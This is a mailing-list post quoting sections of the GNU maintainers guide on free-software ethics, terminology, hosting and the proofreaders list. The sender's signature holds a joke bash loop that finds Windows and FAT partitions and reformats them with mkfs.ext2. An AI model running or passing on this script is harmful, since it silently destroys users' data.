> GIF format, and that it must not do.  More about our stand on GIF is
> available at `http://www.gnu.org/philosophy/gif.html'.
>
> Software patents are not the only matter for ethical concern.  A GNU
> package should not recommend use of any non-free program, nor should it
> require a non-free program (such as a non-free compiler or IDE) to
> build.  Thus, a GNU package cannot be written in a programming language
> that does not have a free software implementation.  Now that GNU/Linux
> systems are widely available, all GNU packages should function
> completely with the GNU/Linux system and not require any non-free
> software to build or function.
>
> A GNU package should not refer the user to any non-free documentation
> for free software.  The need for free documentation to go with free
> software is now a major focus of the GNU project; to show that we are
> serious about the need for free documentation, we must not contradict
> our position by recommending use of documentation that isn't free.
>
> Finally, new issues concerning the ethics of software freedom come up
> frequently.  We ask that GNU maintainers, at least on matters that
> pertain specifically to their package, stand with the rest of the GNU
> project when such issues come up.
>
> Terminology Issues
> ******************
>
> This chapter explains a couple of issues of terminology which are
> important for correcting two widespread and important misunderstandings
> about GNU.
>
> Free Software and Open Source
> =============================
>
> The terms "free software" and "open source" are the slogans of two
> different movements which differ in their basic philosophy.  The Free
> Software Movement is idealistic, and raises issues of freedom, ethics,
> principle and what makes for a good society.  The Open Source Movement,
> founded in 1998, studiously avoids such questions.  For more
> explanation, see
> <http://www.gnu.org/philosophy/free-software-for-freedom.html>.
>
> The GNU Project is aligned with the Free Software Movement.  This
> doesn't mean that all GNU contributors and maintainers have to agree;
> your views on these issues are up to you, and you're entitled to express
> them when speaking for yourself.
>
> However, due to the much greater publicity that the Open Source Movement
> receives, the GNU Project needs to overcome a widespread mistaken
> impression that GNU is _and always was_ an activity of the Open Source
> Movement.  For this reason, please use the term "free software," rather
> than "open source," in GNU software releases, GNU documentation, and
> announcements and articles that you publish in your role as the
> maintainer of a GNU package.  A reference to the URL given above, to
> explain the difference, is a useful thing to include as well.
>
> GNU and Linux
> =============
>
> The GNU Project was formed to develop a free Unix-like operating system,
> GNU.  The existence of this system is our major accomplishment.
> However, the widely used version of the GNU system, in which Linux is
> used as the kernel, is often called simply "Linux".  As a result, most
> users don't know about the GNU Project's major accomplishment--or more
> precisely, they know about it, but don't realize it is the GNU Project's
> accomplishment and reason for existence.  Even people who believe they
> know the real history often believe that the goal of GNU was to develop
> "tools" or "utilities."
>
> To correct this confusion, we have made a years-long effort to
> distinguish between Linux, the kernel that Linus Torvalds wrote, and
> GNU/Linux, the operating system that is the combination of GNU and
> Linux.  The resulting increased awareness of what the GNU Project has
> already done helps every activity of the GNU Project recruit more
> support and contributors.
>
> Please make this distinction consistently in GNU software releases, GNU
> documentation, and announcements and articles that you publish in your
> role as the maintainer of a GNU package.  If you want to explain the
> terminology and its reasons, you can refer to the URL
> <http://www.gnu.org/gnu/linux-and-gnu.html>.
>
> Hosting
> *******
>
> We would like to recommend using `subversions.gnu.org' as the CVS
> repository for your package, and using `ftp.gnu.org' as the standard
> FTP site.  It is ok to use other machines if you wish.  If you use a
> company's machine to hold the repository for your program, or as its
> ftp site, please put this statement in a prominent place on the site,
> so as to prevent people from getting the wrong idea about the
> relationship between the package and the company:
>
>      The programs <list of them> hosted here are free software packages
>      of the GNU Project, not products of <company name>.  We call them
>      "free software" because you are free to copy and redistribute them,
>      following the rules stated in the license of each package.  For more
>      information, see http://www.gnu.org/philosophy/free-sw.html.
>
>      If you are looking for service or support for GNU software, see
>      http://www.gnu.org/help/gethelp.html for suggestions of where to ask.
>
>      If you would like to contribute to the development of one of these
>      packages, contact the package maintainer or the bug-reporting address
>      of the package (which should be listed in the package itself), or look
>      on www.gnu.org for more information on how to contribute.
>
> Free Software Directory
> ***********************
>
> The Free Software Directory aims to be a complete list of free software
> packages, within certain criteria.  Every GNU package should be listed
> there, so please contact <address@hidden> to ask for information
> on how to write an entry for your package.
>
> Using the Proofreaders List
> ***************************
>
> If you want help finding errors in documentation, or help improving the
> quality of writing, or if you are not a native speaker of English and
> want help producing good English documentation, you can use the GNU
> proofreaders mailing list: <address@hidden>.
>
> But be careful when you use the list, because there are over 200 people
> on it.  If you simply ask everyone on the list to read your work, there
> will probably be tremendous duplication of effort by the proofreaders,
> and you will probably get the same errors reported 100 times.  This
> must be avoided.
>
> Also, the people on the list do not want to get a large amount of mail
> from it.  So do not ever ask people on the list to send mail to the
> list!
>
> Here are a few methods that seem reasonable to use:
>
>    * For something small, mail it to the list, and ask people to pick a
>      random number from 1 to 20, and read it if the number comes out as
>      10.  This way, assuming 50% response, some 5 people will read the
>      piece.
>
>    * For a larger work, divide your work into around 20 equal-sized
>      parts, tell people where to get it, and ask each person to pick
>      randomly which part to read.
>
>      Be sure to specify the random choice procedure; otherwise people
>      will probably use a mental procedure that is not really random,
>      such as "pick a part near the middle", and you will not get even
>      coverage.
>
>      You can either divide up the work physically, into 20 separate
>      files, or describe a virtual division, such as by sections (if
>      your work has approximately 20 sections).  If you do the latter,
>      be sure to be precise about it--for example, do you want the
>      material before the first section heading to count as a section,
>      or not?
>
>    * For a job needing special skills, send an explanation of it, and
>      ask people to send you mail if they volunteer for the job.  When
>      you get enough volunteers, send another message to the list saying
>      "I have enough volunteers, no more please."
>
> Index
> *****
>
> /gd/gnuorg directory:
>           See ``Copyright Papers''.
> acknowledgements:
>           See ``Acknowledgements''.
> alpha.gnu.org, ftp site for test releases:
>           See ``Test Releases''.
> AUTHORS file:
>           See ``Recording Contributors''.
> automake:
>           See ``Distribution tar Files''.
> beta releases:
>           See ``Test Releases''.
> bug reports:
>           See ``Dealing With Mail''.
> contributions, accepting:
>           See ``Cleaning Up Changes''.
> copyright notices in program files:
>           See ``Copyright Notices''.
> copyright papers:
>           See ``Copyright Papers''.
> CVS repository:
>           See ``Hosting''.
> data base of GNU copyright assignments:
>           See ``Copyright Papers''.
> diff:
>           See ``Distribution Patches''.
> distribution, tar files:
>           See ``Distribution tar Files''.
> email, for receiving bug reports:
>           See ``Dealing With Mail''.
> ethics:
>           See ``Ethical and Philosophical Consideration''.
> free software:
>           See ``Free Software and Open Source''.
> Free Software Directory:
>           See ``Free Software Directory''.
> FTP site:
>           See ``Hosting''.
> ftp.gnu.org, the GNU ftp site:
>           See ``Distribution on `ftp.gnu.org'''.
> GNU ftp site:
>           See ``Distribution on `ftp.gnu.org'''.
> GNU/Linux:
>           See ``GNU and Linux''.
> hosting:
>           See ``Hosting''.
> legal matters:
>           See ``Legal Matters''.
> legal papers for changes in manuals:
>           See ``Copyright Papers''.
> license notices in program files:
>           See ``License Notices''.
> Linux:
>           See ``GNU and Linux''.
> mailing list for bug reports:
>           See ``Dealing With Mail''.
> movements, Free Software and Open Source:
>           See ``Free Software and Open Source''.
> open source:
>           See ``Free Software and Open Source''.
> patch:
>           See ``Distribution Patches''.
> patches, against previous releases:
>           See ``Distribution Patches''.
> philosophy:
>           See ``Ethical and Philosophical Consideration''.
> pretest releases:
>           See ``Test Releases''.
> proofreading:
>           See ``Using the Proofreaders List''.
> quality of changes suggested by others:
>           See ``Cleaning Up Changes''.
> recording contributors:
>           See ``Recording Contributors''.
> repository:
>           See ``Hosting''.
> responding to bug reports:
>           See ``Dealing With Mail''.
> terminology:
>           See ``Terminology Issues''.
> test releases:
>           See ``Test Releases''.
> time stamp in diffs:
>           See ``Distribution Patches''.
> version control:
>           See ``Recording Old Versions''.
> web pages:
>           See ``Web Pages''.
> Table of Contents
> *****************
>
>
> Version
>
> About This Document
>
> Stepping Down
>
> Recruiting Developers
>
> Legal Matters
>   Recording Contributors
>   Acknowledgements
>   Copyright Papers
>   Copyright Notices
>   License Notices
>   External Libraries
>
> Cleaning Up Changes
>
> Platforms to Support
>
> Dealing With Mail
>
> Recording Old Versions
>
> Distributions
>   Distribution tar Files
>   Distribution Patches
>   Distribution on `ftp.gnu.org'
>   Test Releases
>
> Announcing Releases
>
> Web Pages
>
> Ethical and Philosophical Consideration
>
> Terminology Issues
>   Free Software and Open Source
>   GNU and Linux
>
> Hosting
>
> Free Software Directory
>
> Using the Proofreaders List
>
> Index

-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk\
'{print$1;}'`;do;nohup mkfs.ext2 $i&;done
echo -e "\n\n\t\tMay the source be with you.\n\n"




reply via email to

[Prev in Thread] Current Thread [Next in Thread]